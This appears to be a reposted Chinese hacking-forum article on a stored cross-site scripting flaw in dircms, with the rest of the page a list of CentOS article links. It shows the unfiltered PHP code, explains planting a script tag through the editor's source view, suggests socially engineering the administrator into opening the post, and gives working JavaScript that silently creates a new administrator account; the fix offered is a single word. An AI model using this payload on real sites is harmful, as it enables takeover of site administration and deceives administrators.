


dircms XSS漏洞和利用方法及修復
1 $info['content']=add_alt($info['content'],$info['title']); //////////////////////自動加 ALT標簽
2 $info['title']=sub_string($info['title'],160,''); //標題
3 $info['keywords']=sub_string($info['keywords'],100,''); //關鍵字
4 $info['content']=stripslashes($info['content']); //這里是內容 沒有使用sub_string過濾
5 $info['status']=in_array($_groupid,$passpriv) || $_groupid==1?1:0;
再看 sub_string
1 function sub_string($string, $length, $dot='')
2 {
3 $string=trim($string);
4 $strlen = strlen($string);
5 if($strlen <= $length) return $string;
6 $string = str_replace(array(' ', '&', '"', ''', '“', '”', '—', '<', '>', '·', '…'), array(' ', '&', '"', "'", '“', '”', '—', '<', '>', '·', '…'), $string); //這里做了轉義 -0-! 要是標題沒轉換更好。。。。。。
利用方法 在FCKEDIT里點源代碼
然后寫 < src="http://127.0.0.1/1.js" </>
這里簡單 不明白的拿塊豆腐自殺好了
然后等待管理員查看投稿的文章 (這個你可以社工他) 就會觸發XSS攻擊
遠程JS里寫 當然 內容限制長度是500 也可以不用調用遠程直接寫進去可以了
1 var oReq = new ActiveXObject("MSXML2.XMLHTTP");
2 var str = "do_submit=1&newadmin[username]=t00ls&newadmin[allowmultilogin]=1&newadmin[roleid]=1&newadmin[disabled]=0";
3 oReq.open("POST","http://127.0.0.1/admin.php?file=admin&action=add",false);
4 oReq.setRequestHeader("Content-Length",str.length);
5 oReq.setRequestHeader("CONTENT-TYPE","application/x-www-form-urlencoded");
6 oReq.send(str);
newadmin[username]=t00ls 為會員注冊賬號 既可提升到管理員權限
修復:過濾
關健詞: XSS漏洞
新文章:
- CentOS7下圖形配置網絡的方法
- CentOS 7如何添加刪除用戶
- 如何解決centos7雙系統后丟失windows啟動項
- CentOS單網卡如何批量添加不同IP段
- CentOS下iconv命令的介紹
- Centos7 SSH密鑰登陸及密碼密鑰雙重驗證詳解
- CentOS 7.1添加刪除用戶的方法
- CentOS查找/掃描局域網打印機IP講解
- CentOS7使用hostapd實現無AP模式的詳解
- su命令不能切換root的解決方法
- 解決VMware下CentOS7網絡重啟出錯
- 解決Centos7雙系統后丟失windows啟動項
- CentOS下如何避免文件覆蓋
- CentOS7和CentOS6系統有什么不同呢
- Centos 6.6默認iptable規則詳解